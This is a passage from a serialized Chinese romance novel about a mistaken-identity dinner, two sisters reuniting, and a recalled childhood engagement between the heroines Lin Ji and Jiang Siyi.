到了停车场,樊青和姜司聆一起把行李塞到后备箱。 姜司意还在打电话。 樊青站在车边,和姜司聆闲聊现代艺术相关话题。 聊着聊着,姜司聆有些忐忑。 没想到这个姓森的知道我的职业。 是不是连我都调查得一清二楚了? 身为年薪百万的优秀助理,且协助BOSS促成姜司聆和ArtS的签约,樊青对姜司聆的了解,可比她想象的要多得多。 要是全说出来,恐怕得吓傻眼前人。 来的路上,姜司聆已经想好了一肚子得体又能敲打森一繁的话。 这些话不好让宝宝听到的,眼下正好是她俩独处,是个好时机。 J城机场一向繁忙,今天的停车场也停满了车。 一辆车从拐角驶过来,正在找车位。 看樊青和姜司聆把行李放完了,还站在车边不准备走。 开车的社会大哥狂摁喇叭,刺耳的喇叭声回荡在停车场里。 放下车窗,对樊青的背影很没礼貌地“喂”了一声。 “干嘛呢杵在这,赶紧走!” 姜司聆看对方光头花臂,有点吓人,脸色微白。 樊青转过头,对着姜司聆时温润的模样一秒改变。 沉着脸,抬起一边的眉毛,阴鸷恐怖。 “狗叫什么?” 社会大哥:…… 花臂再花,没有人家脸上那道疤可怕。 姜司聆:…… 这、这么凶的吗? 社会大哥别的觉悟两说,对于沾过血的人那股戾气非常敏感。 默默关上车窗,半字不说,调转车头继续找车位。 应付麻烦时候的臭脸,在转回来的过程中自动消失,继续换上温柔的笑容。 却发现姜司聆已经生生后退了一步。 樊青:。 是亲姐妹,胆子的确是一个妈生的小。 樊青声音都嗲了几分,“姐姐别怕,我就吓唬吓唬那人,对你我肯定不这样。” 姜司聆挂上“我很好我没事我才没有被吓到”的笑意。 心里却是鼓声阵阵。 怎么比想象的还可怕…… 刚刚准备要敲打对方的话,重新咽了回去,仔细琢磨一下,美化、修饰且删减了一番可能激怒对方的词。 开口前再次鼓励自己—— 我是姐姐,我得保护妹妹。 “那个,小繁。” 樊青:“嗯?” 被樊青直视,姜司聆下意识改变眼睛的对焦,虚化她的脸。 看不清的时候比较不那么怕。 “有打算办婚礼吗?你也知道,我们家一团乱,可我就这么一个妹妹,别人有的,我也希望她能够拥有。只要有我这个姐姐在,一定不会让她受半点委屈。” 很好,说得很坚定,只要有点情商的人肯定能从字里行间明白她暗示的意思。 没想到,这高个女人听完她的话,不明所以地“啊?”了一下。 这大姐,在说什么? 这一“啊?”,樊青下意识提高了单边眉毛。 这是她疑惑时的习惯表情。 但在姜司聆的角度看来,下一秒森一繁就会五指张开扣住她的脑壳,挑起一侧的嘴角警告她—— 需要你来教我做事? 下意识又后退一步。 樊青:? 怎么感觉距离越来越远了? 而且,是我错觉吗?感觉这姐好像在敲打我。 原来姜小姐还没跟她姐姐说婚礼的事呢。 忽略奇怪的错觉,樊青乖乖回答:“婚礼肯定要办啊,现在BOSS的计划的是十月份办。” BOSS? 姜司聆心想,你果然有个庞大的组织在背后撑腰,连婚礼都要问老大的意思。 话说一半,姜司意回来了。 “抱歉抱歉,久等了。” 三人坐上车,樊青一边启动车一边想,姜姐姐不会是把我错认成BOSS了吧? 没理由,姜司意肯定给她姐姐看过BOSS照片。 而且不都在一个圈子里长大的吗? 我和BOSS长得也不像啊。 樊青也有脑子没转过弯的时候。 完全没想到,姜司意还没跟姐姐说自己的结婚*对象是林棘。 即便如此,身为年薪百万的优秀助理,樊青自洽能力自然也非常卓越。 嗯,当然是因为我是BOSS的助理,婚礼的筹办自然要我来协作,所有细节都得拿捏。 姜小姐姐姐不好去跟BOSS说太多,所以只能跟我说。 能理解能理解。 回味刚才她话里的意思,是觉得婚礼太晚了? 也提前不了了啊,十月份的婚礼,最近两位婚礼的主角不是忙着工作就是忙着谈恋爱,什么都没来得及准备呢。 啊,所以敲打她这个助理来准备。 懂了,都懂了。 姜司意和姐姐坐在后排,一直在聊天。 天各一方的这两年,微信视频没断,终究比不上真正见到面时亲切。 姜司意拿手机给姜司聆看,“一会儿咱们去这家餐厅吃饭。” 就是有古琴表演的融合菜餐厅。 姜司聆看了眼人均,吓一跳,四位数。 “太破费了吧,这么贵……” 姜司意也觉得很贵,之前就跟林棘说过,随便吃点就好了。 林棘在微信里回复:【见家长,得隆重点。】 短短一句话,好难拒绝。 林棘不仅在意她,还在意她的姐姐,真有种见家长的开心。 看看身边这位“家长”,姜司意说:“她说她请客,见你得隆重点。” 像刚刚恋爱的小情侣,在姐姐面前不好意思提对方的名字,有点回避的心态。 姜司聆点点头。 还挺舍得花钱的。 对着开车的樊青说:“谢谢啦小繁。” 的确是樊青帮忙BOSS预定的包厢没错。 樊青:“……不客气。” 虽然但是,还是奇奇怪怪的。 餐厅预定的是傍晚六点。 距离晚餐时间还有两个小时。 姜司聆为了省钱给妹妹打离婚官司,十五个小时廉价航空硬坐过来的。 椅子又窄又硬,倒也没耽误她能睡,一半时间都在睡觉。 这会儿精神还不错,姐妹俩一起逛逛街。 两年没回来,J城发展极快,多了很多新鲜的商场和有意思的店。 姜司聆心里带着“妹妹为了她的事业被恶霸强占”的内疚,拉着她到处买买买。 看到漂亮的裙子都想让妹妹试,妹妹穿上身,没有一件不好看的。 姜司意都被她弄无奈了。 “姐,我都二十五了,不适合穿这些少女穿的小裙子了。” “怎么不适合,明明很好看啊。” 姜司聆选了一堆裙子就要去付款。 樊青很自然地拿过,说:“交给我就好。” 随后去收银台结账了。 姜司聆看着樊青付款的背影,心情有点复杂。 大几千的裙子说付款就付款了,还挺大方。 拿着BOSS副卡随便刷的樊青,当然没半点心理负担。 BOSS说了,和姜小姐一块儿的时候,姜小姐喜欢什么直接买,别让她看第二眼。 消费全走这张卡,随便刷。 一圈商场逛下来,樊青双手提满购物袋。 姜司意和姜司聆都要分一些过来,樊青说:“不用,这是我的职责。” 姜司聆默默算了一下刚才的花费,小几万有了。 有些东西好是好,可太贵了,就她和宝宝拿起来看了一眼,转头森一繁就付了款。 这森家……的确是J城豪门啊,经济状况是不错。 越是如此,恐怕越是难对付。 晚餐时间到了餐厅,还是上次那间足够私密,也能欣赏到古琴的二楼包厢。 樊青把点菜的平板递给姜司意和姜司聆一人一台。 “菜已经点了一些了,看看再加点什么。” 姜司聆:“我不会点菜,宝宝你来点。” 姜司意看已经点了十个菜两个汤。 樊青是一向和她们一起吃的,除了私下约会的时候。 四个人吃,这些也足够了。 姜司意再看时间,给林棘发微信。 散装吐司:【你开完会了吗?】 三分钟后,林棘回复。 ,:【刚开完。去餐厅大约需要半小时。】 那可以开始上菜了,这家餐厅上菜速度一般,林棘来了正好可以开吃。 姜司意下单,凉菜热菜陆续上桌。 菜都要上齐了,姜司聆看姜司意还没动筷子,问她: “不吃吗?” 姜司意:“林棘马上来了,再等她一会儿。” 林棘? 姜司聆纳闷道:“林棘?你说的林棘,是……我那个高中同学林棘?” 本想说宋缇的表姐,又实在嫌弃“宋缇”这两个字,改了口。 “是啊,就是她。” “她来干嘛?” 姜司意怔了怔,说:“她,请咱们吃饭,不来不合适吧……” 姜司聆:“她为什么要请咱们吃饭?” 姜司意:? 姜司聆指着坐在一旁正在喝茶水,显然也有点怔愣的樊青。 “不是你老婆请客吗?” 樊青差点喷了。 不是,谁老婆?? 姜司意看看樊青,又看看姐姐。 的确是想让姐姐晚点知道结婚对象是林棘这件事情,一直压着还没说。 可是谁能想到姐姐会认定樊青。 都是吴经理那个电话打岔,让她没有好好介绍。 正要说“她不是我老婆”的时候,见樊青看向包厢门的方向,脸都白了一层。 姜司意和姜司聆一起回头。 看到了面无表情的林棘。 樊青:“BOSS,你听我解释,虽然我也不知道该怎么解释,但肯定是误会了,即便我也不知道是怎么误会的……总之,我没有做任何非分的事。” 姜司聆满头问号,也被林棘多年不见依旧恐怖的气场惊着了,拉着妹妹的手小声问: “你你你老婆是林棘?” 姜司意:“……是啊,我老婆从头到尾都是林棘。” 姜司聆指着樊青,“那这个姓森的为什么会在这里?” 樊青:“谁姓森?我不姓森我姓樊啊。” 乱了,都乱了。 姜司聆捂着脑袋不解自语:“森一繁,姓繁?” 姜司意脑子也嗡嗡的,“森一繁?森一繁又是谁?怎么好像在哪里听过这个名字?” 林棘眼皮跳了跳。 这个森一繁都被岑麓拉黑了,是怎么出现在自己家庭名单里的? 目光扫向姜司聆。 姜司聆被她盯着,抖了抖。 如果没记错的话,这位高中同学也怕她。 和姜司意同款绕着她走。 无论是怎么被误会的,姜司意只能是她老婆,姜司聆也是她姐。 而且,刚才姜司意说“我老婆从头到尾都是林棘”这句话也让她非常受用。 林棘坐到姜司意身边,用戴着同款戒指的手握住姜司意,微笑软言: “是我有事耽搁,要是和司意一起去接你的话就不会有这样的误会了。介绍一下,这位是我助理,樊青。” 是助理? 樊青迎着姜司聆的目光僵硬笑道:“姐姐好,我姓樊名青,真姓樊。” 认错人了,看来真不是森一繁。 后知后觉的姜司聆脸上烧得发烫,耳朵红得瞩目,恨不能躲到姜司意身后去。 姜司意知道姐姐脑洞大,时常想偏。 没想到的是,这次能脑补出一个完全无关的人。 还能自圆其说到相信了这么久。 姜司意看姐姐这样便知道她现在窘迫得很,给她递冰饮料喝,帮她打圆场。 “都怪我一开始没说清,害你误会。” 林棘跟着姜司意一起安抚姜司聆:“小误会而已,别在意。” 姜司聆喝了点冷饮,降了些温,努力挤出笑容。 “是我想太少了。” 樊青喝茶,斜她一眼。 姐,是你想太少了吗,你没少想。 林棘慢吞吞地给姜司意拿湿热的擦手巾擦手,心里难免思索着,结婚这么久了,为什么还没跟姐姐说清? 会误会成别人,那就是没有提到我的名字。 思绪转了转,猜测姜司意应该是顾及她姐和宋慧那场交恶,怕她姐以为现在和ArtS签约并非是被ArtS欣赏,从而陷入新一轮的自我怀疑中。 森一繁是ArtS的最大股东,当初林棘也是和她联手,把姜司聆直播烧画这件事打造成了文娱热点。 当然,整件事最抓人眼球的依旧是姜司聆自己的画作,和烧画这场行为艺术。 能查到森一繁,还突然回国,恐怕是觉得姜司意为了姐姐的前途,把自己搭进去了。 现在看妹妹结婚的对象不是森一繁,而是她林棘,恐怕也觉得林棘就是个趁火打劫的。 林棘想的没错。 看到妹妹和林棘戴着同款戒指,姜司聆心里掠过的第一个念头就是—— 完了,强占妹妹的人居然是林棘。 如果是那个森一繁,或许还能一战。 现在换成林棘,估计倾家荡产都救不了妹妹了。 姜司聆心里一阵阵地发慌。 林棘和姜司聆以前是同班过两年,但一个是内向的艺术生,一个是更加内敛的插班学霸。圈子不同座位也远,基本没有交集。 犹记姜司意这姐姐,见到她的时候如出一辙的绕道走。 不知道长大之后会不会好点。 无论如何,得先展现一下亲和力,主动夹夹菜。 林棘贴近姜司意,在她耳边小声道: “给你唯一真老婆一点建议,姐爱吃哪道菜?” 唯一真老婆…… 姜司意暗暗觑身边人。 面上没什么表现,其实往心里去了。 挺小气。 要了命。 姜司意竟有点喜欢这小气。 【作者有话说】 林棘:宠妻第二十六步,只有我能宠[裂开][裂开] 60 第60章 ◎非要小司意不可◎ 耳朵被林棘靠近说话时的气息弄得热热的,痒痒的。 正襟危坐,假装波澜不惊给林棘指了几道。 林棘本没有要欺负那只耳朵的意图。 大半天没见,一直担忧姜司意会不会再发烧。 赶来餐厅,发现自己“姜司意唯一真老婆”的身份被剥夺有段时间了。 粘人属性再次爆发,想挨姜司意近一些。 也真是想问问题,只是低声说了句话,靠近的那只耳朵就被弄红了…… 是意外。 空荡荡大半日的心也意外被填满。 姜司意指导之后,发现桌上十道菜,姜司聆喜欢的占了一大半。 还是很好猜的,姐妹俩的口味很相似。 为了展现亲和力,林棘拿着公筷时不时给姜司聆夹菜,笑容也独家绽放。 表面上其乐融融,实则姜司聆一直在回避和林棘的对视。 夹来的菜更是不敢不吃。 林棘给她夹多少菜,她就吃了多少。 姜司聆:“嗝!” 林棘:…… 只能暂时放下公筷。 你们姜家什么风水?姐妹俩都这么怕我。 我八字克姜? 姜司聆对林棘的畏惧不像姜司意那么浓,不过因为历史遗留原因,多少还是有的。 高中同班那两年,在林棘帮她捡笔之前,她对林棘的惧意和妹妹差不多。 杀人谣言自然功不可没。 奠定她对林棘恐惧的重要里程碑,是某日下午快要上课的时候,一位暗恋林棘的同学拿了一道题过来请教她。 当时教室里人很少,只有五六人,姜司聆坐在前排角落画画,听到了后方的声音。 林棘这个跳级生高冷归高冷,寡言也是真的寡言。 不过别人向她问题,她有空都会帮忙解答。 “哇,这么难的题你都会,好厉害哦。” 这位暗恋的同学发现林棘比想象中的好说话,得到解答后,假装不小心,蹭了一下她的手背。 非常不喜欢和人有肢体接触的林棘,依旧面无表情,心里则起了一层鸡皮疙瘩。 就在这时,姜司聆回了头。 和姜司聆四目相接,当时已经不是姜司意未婚妻的林棘,依旧保持着无法与人说的自觉。 不想让姜司意姐姐觉得她在“招蜂引蝶”。 “和厉害无关,这题很简单。”林棘说,“要不要我帮你把头盖骨打开看看今天带脑子出门没有?” 手欠的同学:。 姜司聆:…… 好可怕,会不会真的杀过人? 之后很长一段时间,姜司聆看到林棘都会下意识避开她的眼神。 再后来,林棘不仅霸占全年级第一的位置,谁也无法撼动,还各方面优秀得让人有点自卑。 就更少和她说话了。 总觉得说错一句话就会被她当成白痴。 毕业之后上了不同的大学,除了“老同学”这个头衔之外,生活完全没有交集。 她俩还都是全然不在老同学群里说话的人。 数年过去,可怕的老同学忽然和亲妹妹的关系扑朔迷离。 自己还弄出认错老婆的误会。 姜司聆不可能不紧张。 也不知道是不是点她呢,用餐的整个过程,林棘一直重点给她夹菜。 还用无法解读深层用意的笑容对她说: “好吃吗?好吃多吃点。” 头盖骨痒痒的。 有种如果不吃完对方夹的菜,也会被掀开来看看带没带脑子的危机感。 这一晚上姜司聆就没停止进食的动作。 撑到打嗝。 樊青慢吞吞地吃一口优质蛋白,怜悯地摇头。 在国外肯定没吃什么好吃的,回国这一顿狂炫。 看姜司聆脸色都绿了一个色号,林棘没好再展现自己的亲和力。 怕继续展现下去,姜家姐妹得轮流进医院。 吃完饭,姜司聆要去酒店了。 本来林棘的意思是直接去家里住,有客房。 作为在妹妹之外的人面前绝对的i人,姜司聆不太好意思。 而且她有时候灵感一爆发,有可能半夜直接弹起画画,怕吵到林棘。 就委婉拒绝了。 姜司意犹犹豫豫跟林棘说,今晚她想去酒店陪姐姐。 “我姐她好不容易回来一趟,也有两年没见了,不好放她一个人住酒店,所以今天晚上……” 林棘点点她的手背,没让她继续解释下去。 “我知道的。” 手背轻轻贴在姜司意的额头上,感受一下温度。 今天到现在也没烧起来。 姜司意:“放心啦,已经退烧了。倒是你……” 林棘目光在她张合的唇瓣上流连了一会儿。 “如果睡不着,我会向你求救的。” 向你求救。 这四个字让姜司意恍惚间觉得自己很厉害,很值得依赖。 送姜家姐妹去酒店,放好行李,樊青就离开了。 林棘倒是没上来。 奇怪。 姜司意回忆了一下,林棘好像不喜欢到高的地方去。 卧室在一楼,办公室也在一楼。 一旦要去高层,很有可能回避。 不对,她也去过。 艺术沙龙那次就去了。 走的时候,坐了观光电梯。 是不喜欢高处吗? 还是不喜欢坐封闭的电梯?”。 帮姐姐定的酒店套房,距离林语水岸和嘉仕比都很近。 明天是工作日,依旧可以起得晚晚的再去上班。 套房很大,顶层的视野,能俯瞰J城高楼林立的夜晚灯光秀。 可惜,此时的姜司聆已经完全没有看灯光秀的心情。 吃得实在太撑,抱着肚子躺在沙发上,双眼放空一直哼哼。 姜司意费劲地把她拉起来。 “吃撑了得走一走消消食啊,起来我陪你一起走。” 幸好房间够大,姐妹俩不用出门,绕着屋子转圈就行。 姜司意走在后面监督着。 “怎么吃这么多,林棘给你夹多少你就吃多少啊?” 前方的姜司聆像怀了大半年,挺着肚子撑着腰。 “那是林棘哎,她给我夹菜我哪敢不吃……” 姜司意忍不住笑起来。 算是知道之前林棘看她害怕时是什么感觉了。 “放心啦姐,她就是长得凶了点,不会欺负你的。” “到底怎么回事,怎么不跟我说你结婚对象是林棘?” 想到之前的误会,姜司聆还是一阵天旋地转,想要立刻动身离开地球。 姜司意跟姐姐说了这段时间发生的事。 避开误会林棘人品的尴尬,只说发现宋缇出轨后,林棘向她提出联姻,她答应了。 姜司聆惊诧回头。 “林棘喜欢你啊宝宝?” “可能吧……” “什么叫可能吧,她喜不喜欢你感觉不出来吗?” 和林棘相处的点滴浮于心头。 她的细致、周到以及…… 接吻时难以言说的占有欲。 喜欢在镜子前紧抱的爱好。 想着想着,姜司意的步伐变慢了。 “她对我,很好。” 看她妹妹的神态,姜司聆忘记了要爆炸的胃,挽住妹妹说: “她喜不喜欢你我不知道,你肯定喜欢她。” “但是。”姜司聆又想到了什么,“她和宋缇是表亲,两家的妈妈可是亲姐妹。你们结婚这件事在她们家能过得去么?婚礼之前你们的关系会公开吗?如果藏着掖着……” 如果藏着掖着,到最后受委屈的只会是你。 最后半句话姜司聆暂时没说。 遇到和宝贝妹妹相关的事,一向欠奉的情商会短暂上线。 她能看得出来妹妹对林棘动了心,有些太直接的话说出来不合适。 即便没说出口,姜司意也能听出她言下之意。 “已经公开过了,而且还公开得非常高调。她没让我受半点委屈。” 怕姐姐不信,姜司意说了很多那天的细节,把照片拿出来。 还给她看红钻戒指。 姜司聆对红钻戒指多昂贵没什么概念,就听说过“克拉”,钻石越大的就越值钱。 照片里这枚戒指快有她眼珠子大了。 估计比她命都贵。 钱在哪,爱就在哪。 这句话很俗,却在理。 姜司意说林棘多认真为她填问卷,在她焦头烂额的时候帮她找沙龙的场地。 在她被背叛,最狼狈的时候告诉她还有另一条退路。 不顾自己的安危去救雪球。 为她搬家,为她准备好一切。 信任她,鼓励她,一心想着她。 “而且,她妈妈也对我特别好。昨天我生病,就是她妈妈带我去的医院……” 说到一半,看姐姐抿着嘴,眼睛笑得弯弯。 “……嗯?” “哇,你真是喜欢她喜欢得不得了。我说一句,你就为她说八百句好话。宝宝,看来你已经陷得很深了。行吧,这么看来不是她强占你了。” “法治社会,她怎么可能强占我……” 嘴上这样说,其实也担忧过姐姐会不会误会她出卖了自己。 嘴上开着妹妹玩笑,姜司聆心里安心不少。 还以为宋缇那王八蛋会给宝宝造成很大的影响,心情起码会低落很久。 想太多了。 也或许,正是因为及时遇到了林棘,才没有陷入人生的低谷。 姜司聆走累了,一屁股坐到沙发上。 “不能怪我多想,我宝宝这么漂亮这么可爱这么聪明性格又好,一个人在国内我怎么能不担心?我以为你是和那个姓森的色女结婚,都已经要筹钱给你打离婚官司了。” “离婚官司?” 姜司意笑起来。 “好好好,知道你没想离婚。”姜司聆躺到妹妹腿上,玩她垂落下来的长发发尾。 “那你已经去筹钱了吗?” 姜司意再帮她轻轻揉着腹部,帮助消化。 “也没有啦,是想筹。后来格伦达让我别担心,给了我一张卡,说是给你当见面礼物。” “格伦达?” “嗯,我只是暂时收下,以备不时之需。打算新画如果能顺利拍出去再还给她。” “姐,你和格伦达在一起了?” 不然为什么要准备见面礼物? “哦对,忘了跟你说了,我和她在一起快一个月了。” “那不就是和从小就崇拜的偶像在一起了么!” “嘻嘻,对。” “都一个月了,你也没跟我说。” “这不是忙着新画的构思,又刚签新公司,太忙了……” 姜司聆心虚了一会儿,忽然坐起来,抓姜司意的腰。 “你不是更过分,结婚了也没跟你亲姐说。” 姜司意最怕痒,转身要逃,被姐姐抓回来压在沙发上继续挠痒。 脸都笑红了,眼睛里都是眼泪,缩成一团连连求饶。 姐妹俩跟小时候一样幼稚,闹了一会儿姜司聆肚子终于没那么撑,都累了,摸摸妹妹的脑袋,倒回沙发上。 姜司意躺到对面,姐妹俩互相搭着对方的腿。 再说回格伦达。 “她最近在忙巡展,答应我今年一定抽空过来和你见面。你和林棘婚礼是十月份,她应该能来。” “你从小就喜欢她的画,现在居然和她在一起了,好奇妙的感觉……” 真替姐姐开心。 “是啊,我偶尔一恍惚想到这件事,都觉得在做梦。你明白这种感觉吗?” 姜司意当然明白。 和林棘刚刚结婚的那段时间里,她也是这样。 一想到自己和林棘领证了,就恍然如在梦中。 姐妹俩说着说着,陷入了短暂的沉默。 姜司聆凝视着染着城市灯火的天花板。 “如果妈妈还在的话,看到我们都有了另一半,一定会非常开心的。” 姜司意的双眸里倒映着窗外的夜景,缓缓地眨动眼睛。 妈妈过世那年,姜司意刚刚上初中。 正是对这个世界懵懂,但又已经有了感知的年纪。 那是她第一次直面死亡,失去母亲的恐惧占据了她的心。 与此同时,父亲还带着陌生女人进了家门。 与今夜相似的夜里,姐姐握着她的手说—— 宝贝别怕,妈妈不在了你还有我。 通过姐姐的手,发现她在逞强,在颤抖。 彼时的少女压下对人生未知的恐惧。 反握住姐姐的手,说,我也会永远保护姐姐。 互相安抚,强撑着要当彼此依靠的小小姐妹,一转眼都已经长大。 挫折当然经历过,也承受了很多痛苦。 庆幸的是,终于走上了全新的人生,拥有了能陪伴她们继续往前走的可靠伴侣。 不用再逞强,因为她们真的不再害怕了…… 城市的另一边。 林棘推开屋门,看到了躺在地上的雪球。 雪球肚皮滚圆,头上还夹着个糖果形状的橙黄小发卡。 林棘:? “小佑回来了?”林雪泊穿着睡衣从客厅走过来,“司意呢?” “司意姐姐来了,她去陪姐姐,今晚不回来了。”林棘目光落在雪球身上,“它怎么这样了?” “我看雪球太可爱,就给它买了一点零食。孩子饿了,吃多了点。” 林棘看向玄关角落里堆成山的狗粮、狗罐头、狗零食、狗玩具…… 嗯,是买了亿点。 我撑着了姜司聆,你撑着了雪球。 是亲母女了。 雪球懒洋洋地翻了个身,摇了摇尾巴,无论如何还是要坚持一只乖狗狗的职责,走到门口迎接主人。 林棘把它抱起来摸摸肚子。 林雪泊其实也没主动喂多少,一撕开零食包装,雪球就自己杀过来吃到眼白都翻出来。 要不是她抢救的快,可能会被多炫一倍进去。 林棘把它放下来,陪它玩玩具,消消食。 对林雪泊说:“谢谢您来照顾它。” “跟妈妈客气什么。” 林雪泊见林棘和狗狗互动的画面实在太稀奇,琢磨着,欲言又止。 “小佑,你……” 不怕狗了吗? 林棘知道妈妈想问什么。 “我想试着不怕。司意说雪球很乖,不会咬人。它不会咬我。” 林雪泊安静地看着女儿,眼前渐渐模糊。 转头借着给林棘倒水喝的机会,默默把眼角的眼泪拭去,调整了一下声音才说: “是呀,雪球乖得很……来,我陪它玩会儿,你去喝喝水。” 林棘接过水杯,想到一个问题。 “妈。” “嗯?” “当初我们家和姜家订婚,为什么定的是我和姜司意,不是和她姐?” 按年龄来说,她和姜司聆应该更相仿,姜司意则小了三岁。 今天见到姜司聆,难免想起这件事。 “嗯?你不记得了?也是,当时你还太小了。”林雪泊笑道,“是你自己选的啊,非要小司意不可。”。 夜半,姜司聆起夜,晕晕乎乎地去卫生间。 坐在马桶上的时候,思绪飘荡间隐约想起一件事。 当初宝宝订婚对象,好像就是林棘。 嗯?这个记忆是从哪来的?有这回事吗? 想了半天。 想不起来……算了。 【作者有话说】 林棘:宠妻第二十七步,自己的老婆自己定[好的] 60-70 第61章 ◎我也喜欢你。◎ 第二天一早,林棘的车就在酒店楼下等着姜司意。 依旧要送她上班。 姜司聆在飞机上没少睡,同样不耽误她昨晚睡得香。 半睡半醒间听到妹妹接林棘电话,趴在床上半睁着眼说: “来接你上班啊?” 姜司意:“嗯……” “哎哟哎哟这么宠。” 姜司意被姐姐的话弄得有点不好意思,转移话题。 “你早饭……” “放心上班去吧,我这么大人了会自己去吃的。再睡一会儿……” 关上门,姜司意到楼下露天停车场时,看到林棘站在车外等着她。 进入九月,J城没那么热了,阳光依旧丰沛。 等待着她的女人一头黑色长卷发,被晨间日光染成了焦糖色。 冷情的眼,只注视着姜司意来的方向。 看到一直等待的身影出现时,微微舒展。 点点笑意和光落进黑瞳里,眼瞳中来往皆为过客,独独只注视着那一个人。 直肩窄腰身段优越的林棘实在美得太醒目,姜司意大老远就看到了她。 被那永远专注的目光凝视着,脚步都乱了些,想要快点到她身边。 就差两步的距离,脚下踢到突起的砖头。 姜司意:! 身子不由自主往前跌,林棘一步向前,稳稳地把她接住。 “小心。” 惊慌之下,本能地张开双臂抱住林棘,以维持自身的平衡。 等回过神时,发现自己紧紧环住林棘的腰肢,整个人贴在她的怀里,完完全全的投怀送抱。 “抱歉,我是不小心的……” 姜司意立刻要松开她,站直。 “没关系。” 林棘握住她即将离开腰间的双臂,重新圈回来,继续抱着自己。 “不是也可以。” 被迫继续抱着林棘的姜司意:? 早间时分大家都很忙碌,很少有人会注意到停车场角落里抱在一起的两个女人。 怎么觉得今天的林棘有点粘人? “昨晚,你睡得好吗?” 胸膛相贴,有暴露心跳过速的风险,却又不想离开。 “不用担心,有好好睡觉。” 林棘嗅着让她安心的香味,拥着让她踏实的身体。 是实话,比以前没有姜司意在的时候睡得好多了。 当然,因为枕边人不在,也因为知道了一件重要的事,思绪有些活跃,没能睡足六小时。 昨夜。 “是我自己选的姜司意?我选她当我的未婚妻?” “是啊,你选的。”林雪泊笑说,“你六岁那年吧,咱们家和姜家一起度假。司意的母亲、外婆也都还在。” 六岁时的自己是什么样的,林棘已经不记得了。 事实上,在七岁生日之前美好的记忆,正在塑造的人格,几乎被那场灾难性的拐卖摧毁了。 提起童年,林棘想起的是极端的痛苦,是夜不能寐的惊惧,是生死一线的挣扎,是满身至今也无法抹平的伤口。 没想到,在那场撕裂她生命遭遇之前的一年,还有被遗忘的温馨时光。 姜司意的外婆和林棘的外婆是老战友,那年冬天,两位老太太去南方温暖的海岛过冬。 正好是林棘外婆的生日,林雪泊就准备好了礼物,带着林棘去探望外婆。 姜司意妈妈陶绪也带着两个女儿过来。 那时候林棘六岁,就敢自己带着姜家小姐妹出去玩。 等家长们发现的时候,三个孩子都已经玩回来了。 林棘抱着累到睡着的姜司意,身上不知道是从哪蹭回来的灰。 姜司聆则拉着林棘的衣摆,脑袋上糊着蜘蛛网,还附赠一片树叶。 陶绪一阵无语。 问姜司聆:“你怎么不抱妹妹?” 姜司聆声音响亮,振振有词。 “我抱不动她!” 陶绪:…… 陶绪感谢了小林棘,正要把女儿接过来。 林棘没撒手,还不让人家亲妈抱了。 “我好不容易把她哄睡着。” 陶绪看向林雪泊,林雪泊也很惊讶。 女儿性格其实和自己幼年期挺像的,比较孤僻内向。 还早熟,都不喜欢和同龄小朋友玩。 别说比她小三岁的小姜妹妹,就是大三岁的她都嫌人家幼稚。 除了毛绒玩具,还没抱什么抱得这般紧过。 林棘不想放开姜司意,陶绪就让她抱,带姜司聆去洗澡,这脏的。 林棘抱着熟睡的姜司意坐到沙发上。 额头上一层的汗。 林雪泊帮她擦擦汗,她让妈妈再拿一张纸,也帮熟睡中的姜司意擦汗。 姜司意鬓角的碎发都被汗水沾湿了,林棘一点点帮她沾干净。 两位外婆还在谈当年事,两人可是过命的交情,看到孙女们刚见面就能玩到一起去,问林雪泊和陶绪,要不要定个亲,让两家的情谊长长久久,亲上加亲。 林棘和姜司聆年龄相仿,外婆们一开始想的是她俩定亲。 林雪泊一向尊重林棘的意见,问她: “和姜家的小姐姐司聆定亲好不好啊?” 六岁的小女孩认真问道:“什么是定亲?” 林雪泊:“就是……长大以后结婚,相伴过一辈子。” 林棘皱起小眉头,问:“那妹妹呢?” 这个“妹妹”,自然指的就是姜司意了。 林雪泊:“妹妹呀,妹妹会和别人结婚,有另一个和她过一生的人。” 听到这句话,林棘将怀里还在睡的姜司意抱得更紧。 像是谁会当场把她抢走。 “我和妹妹结婚不行吗?要是我不抱她的话,她还会哭的。” 小孩大概知道什么是结婚,也大概知道什么是一辈子。 只是大概。 当下最最具体的感情,就是对怀中人的不舍。 不舍得这小精灵般漂亮,又如露珠般脆弱的妹妹再落泪。 喜欢她,比喜欢所有毛绒玩具都喜欢。 不想让她走。 家长们听她这么说,哪有不懂的,互相笑着交换了眼色。 最后由外婆们做主,定下了林棘和姜司意这门亲事。 …… 林雪泊说完,林棘渐渐想起来几个场景和感受。 她相信林雪泊说的都是真的。 一直都信自己和姜司意之间有种说不清的命中注定。 毕竟,生命曾经走到末路,不抱希望祈求着能活下去时,是姜司意救了她。 那封至今被保存在恒温恒湿柜中的信,可以作证。 林雪泊一直都挺想问林棘的。 “司意记得这件事吗?你们才是最初定亲的双方。” 林棘:“她从来没说过,可能不记得了。” 林雪泊有些遗憾,“是啊,有可能,当时她太小了。” 外婆们口头定亲的时候,姜司意才三岁。 再过一年,林棘就出事了。 谁也没再提过这门婚事,直到变更了定亲对象。 即便定亲对象变更时,姜司意也才幼儿园,记不得更小的时候的事很正常。 林棘:“没关系,我会跟她说的。”* 林雪泊点着头,却是担忧。 要说到这件事,必然会提及当年被拐卖的遭遇。 对于刚刚才有所好转的小佑而言,不是那么容易开口的。 对谁来说,都很难开口。 躺在床上,林棘各种念头纷杂。 眼看就要凌晨一点了,不想姜司意担忧她的睡眠,才抱着姜司意从出租屋带来的蘑菇,慢慢找到睡意。 一大早来酒店接姜司意上班。 还不愿坐在车里。 就站在外面,能第一眼看到姜司意的地方。 腰间的温度和紧密感让她贪婪。 只是不好抱太久,有人脸皮薄。 送姜司意到公司,林棘也没问她今晚回不回来,一言不发把她送到电梯口,陪着她一起在人群中等电梯。 姜司意确定了,不是错觉,今天林棘就是很粘人。 是因为昨晚没回家么?。 到了公司,去茶水间喝杯咖啡提神是每天早上必要做的事。 姜司意喝着咖啡出了一会儿神,之后发微信给姐姐。 散装吐司:【酒店早餐到10点钟,别忘记去吃。】 Ochre:【我已经吃完啦!】 Ochre:【宝宝你今晚不用过来陪我了,我完全ok的。倒是你,再不回家新婚妻子该寂寞了哟】 Ochre:【你懂的.jpg】 姜司意:…… 感觉姐姐恋爱这根筋开窍之后,人活泼了些。 不像以前,只会埋头画画。 Ochre:【正好我也要跟老朋友们聚一聚,别担心,保持联系哈。】 散装吐司:【好吧,你要注意安全。】 Ochre:【放心,我自己在国外都活下来了。还有,姜骆如果去你公司找你,千万别搭理,马上跟我说!】 姜司意给姐姐回复了【嗯嗯】的表情包后,迅速点开置顶的对话框。 散装吐司:【今晚我回家!】 发都发出去了,感觉那个感叹号是不是太激动了点。 好像在暗示,非常期待着什么。 